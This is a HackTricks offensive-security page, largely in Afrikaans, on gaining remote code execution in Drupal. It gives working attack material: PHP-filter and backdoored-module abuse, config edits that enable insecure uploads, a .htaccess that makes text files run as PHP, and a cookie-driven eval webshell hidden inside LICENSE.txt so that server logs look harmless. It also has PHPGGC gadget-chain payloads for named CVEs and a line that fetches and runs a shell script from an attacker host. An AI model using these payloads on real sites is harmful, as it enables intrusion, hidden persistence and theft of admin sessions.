Drupal RCE
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Met PHP Filter Module
Warning
In ouer weergawes van Drupal (voor weergawe 8), was dit moontlik om as admin aan te meld en die
PHP filtermodule in te skakel, wat “Maak dit moontlik dat ingebedde PHP code/snippets geëvalueer word.” Maar vanaf weergawe 8 is hierdie module nie standaard geïnstalleer nie.
- Gaan na /modules/php en as ’n 403-fout teruggegee word dan is die PHP filter plugin geïnstalleer en kan jy voortgaan
- Indien nie, gaan na
Modulesen merk die blokkie vanPHP Filteren klik dan opSave configuration - Om dit te eksploiteer, klik op
Add content, kies danBasic PageofArticleen skryf die PHP backdoor, kies danPHPkode in Text-formaat en uiteindelik kiesPreview - Om dit te aktiveer, besoek net die nuut geskepte node:
curl http://drupal.local/node/3
Installeer PHP Filter Module
Warning
In huidige weergawes is dit nie meer moontlik om plugins te installeer deur slegs toegang tot die web te hê na die standaardinstallasie nie.
From version 8 onwards, the PHP Filter module is not installed by default. To leverage this functionality, we would have to install the module ourselves.
- Laai die nuutste weergawe van die module vanaf die Drupal-webwerf af.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz- Sodra dit afgelaai is, gaan na
Administration>Reports>Available updates. - Klik op
Browse, kies die lêer uit die gids waarin ons dit afgelaai het, en klik dan opInstall. - Sodra die module geïnstalleer is, kan ons op
Contentklik en ’n nuwe basiese bladsy skep, soortgelyk aan hoe ons dit in die Drupal 7-voorbeeld gedoen het. Maak weer seker dat jyPHP codeuit dieText formatkeuselys kies.
Achterdeur-module
Warning
In huidige weergawes is dit nie meer moontlik om plugins te installeer deur slegs toegang tot die web te hê na die standaardinstallasie nie.
Dit was moontlik om ’n module af te laai, ’n backdoor daaraan toe te voeg en dit te installeer. Byvoorbeeld, deur die Trurnstile module in saamgeperste formaat af te laai, ’n nuwe PHP backdoor-lêer daarin te skep, en toegang tot die PHP-lêer toe te laat met ’n .htaccess-lêer:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
En dan na http://drupal.local/admin/modules/install gaan om die backdoored module te installeer en /modules/turnstile/back.php te besoek om dit uit te voer.
Backdooring Drupal with Configuration synchronization
Pos gedeel deur Coiffeur0x90
Deel 1 (aktivering van Media en Media Library)
In die Extend-menu (/admin/modules) kan jy ogenschynlik reeds geïnstalleerde plugins aktiveer. By verstek blyk die plugins Media en Media Library nie geaktiveer te wees nie, dus kom ons aktiveer hulle.
Before activation:
 (1) (1) (1) (1).png)
After activation:
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
Deel 2 (gebruik van die Configuration synchronization-funksie)
Ons sal die Configuration synchronization-funksie gebruik om Drupal-konfigurasie-items te dump (export) en op te laai (import):
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Wysig system.file.yml
Kom ons begin deur die eerste inskrywing allow_insecure_uploads te wysig van:
Lêer: system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
Na:
Lêer: system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
Pas field.field.media.document.field_media_document.yml aan
Pas dan die tweede inskrywing file_extensions aan vanaf:
Lêer: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
Aan:
Lêer: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Ek gebruik dit nie in hierdie blogpos nie, maar dit word aangeteken dat dit moontlik is om die invoer
file_directoryarbitrêr te definieer en dat dit kwesbaar is vir ’n path traversal attack (sodat ons terug kan navigeer binne die Drupal-lêerstelselboom).
 (1) (1) (1).png)
Deel 3 (benut die funksie Add Document)
Die laaste stap is die eenvoudigste, en is in twee sub-stappe opgebreek. Die eerste is om ’n lêer in .htaccess-formaat op te laai om die Apache-riglyne te benut en toe te laat dat .txt-lêers deur die PHP-engine geïnterpreteer word. Die tweede is om ’n .txt-lêer op te laai wat ons payload bevat.
Lêer: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Waarom is hierdie truuk gaaf?
Omdat, sodra die Webshell (wat ons LICENSE.txt sal noem) op die webbediener geplaas word, ons ons opdragte via $_COOKIE kan oordra, en dit in die webbediener-logs as ’n legitieme GET-versoek na ’n tekslêer sal verskyn.
Why name our Webshell LICENSE.txt?
Kortom, as ons byvoorbeeld die volgende lêer neem, vir voorbeeld core/LICENSE.txt (wat reeds in die Drupal core teenwoordig is), het ons ’n lêer van 339 reëls en 17.6 KB, wat perfek is om ’n klein stukkie PHP-kode in die middel by te voeg (aangesien die lêer groot genoeg is).
 (1) (1) (1).png)
Lêer: Patched LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Part 3.1 (laai lêer .htaccess op)
First, we leverage the Add Document (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
Part 3.2 (laai lêer LICENSE.txt op)
Then, we leverage the Add Document (/media/add/document) feature again to upload a Webshell hidden within a license file.
 (1).png)
 (1).png)
 (1).png)
Part 4 (interaksie met die Webshell)
The last part consists of interacting with the Webshell.
As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.
 (1).png)
When the attacker sets the cookie, he can interact with the Webshell and execute any commands he wants.
 (1).png)
And as you can see in the logs, it looks like only a txt file has been requested.
 (1).png)
Thank you for taking the time to read this article, I hope it will help you get some shells.
Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)
Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.
Practical exploitation workflow:
- Find the unserialize sink (contrib module or custom code). Grep codebase for
unserialize(orDrupal\Component\Serialization\PhpSerialize::decode. Target endpoints that accept POST/JSON or configuration imports. - Generate a payload using the vulnerable class path that matches the gadget chain. After SA-CORE-2024-008, the public chain was added to common payload generators. Example with PHPGGC (commit ≥ Dec 2024):
./phpggc drupal/rce2 system 'id' > payload.ser
- Deliver the serialized blob aan die sink (bv. parameter wat gets deserialized). Vir ’n form-encoded body:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
- Aktiveer vernietiging (gewoonlik outomaties aan die einde van die versoek) en voer die opdrag uit.
Notes for testing:
- Gadget works only on versions prior to 10.2.11 / 10.3.9 / 7.102 (patched). Verify the target version via
/core/lib/Drupal.phporCHANGELOG.txt. - Third‑party DB drivers may need extra hardening; look for deployments that skipped the security update window.
Onlangse contrib-module unsafe deserialization → RCE
Verskeie contrib modules het in laat 2024 onveilige unserialize()-paden reggemaak. As die site hierdie opdaterings mis, gee hulle die benutbare sink wat deur die core gadget chain vereis word:
- Mailjet (<4.0.1, CVE-2024-13296): admin-beheerde data word aan
unserialize()deurgegee, wat PHP Object Injection → RCE moontlik maak wanneer dit met die core gadgets gekoppel word. - Eloqua (7.x-1.x < 1.15, CVE-2024-13297): soortgelyke onveilige
unserialize()-gebruik wat bereikbaar is deur gebruikers metaccess administration pages.
Testing idea (authenticated):
phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import
As die module die opgelaaide data deserialiseer, lewer die gadget chain RCE. Kombineer dit met XSS/CSRF om admin cookies te steel vir ’n volledige aanvalsketting.
Verwysings
- Drupal core – gadget chain – SA-CORE-2024-008
- Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


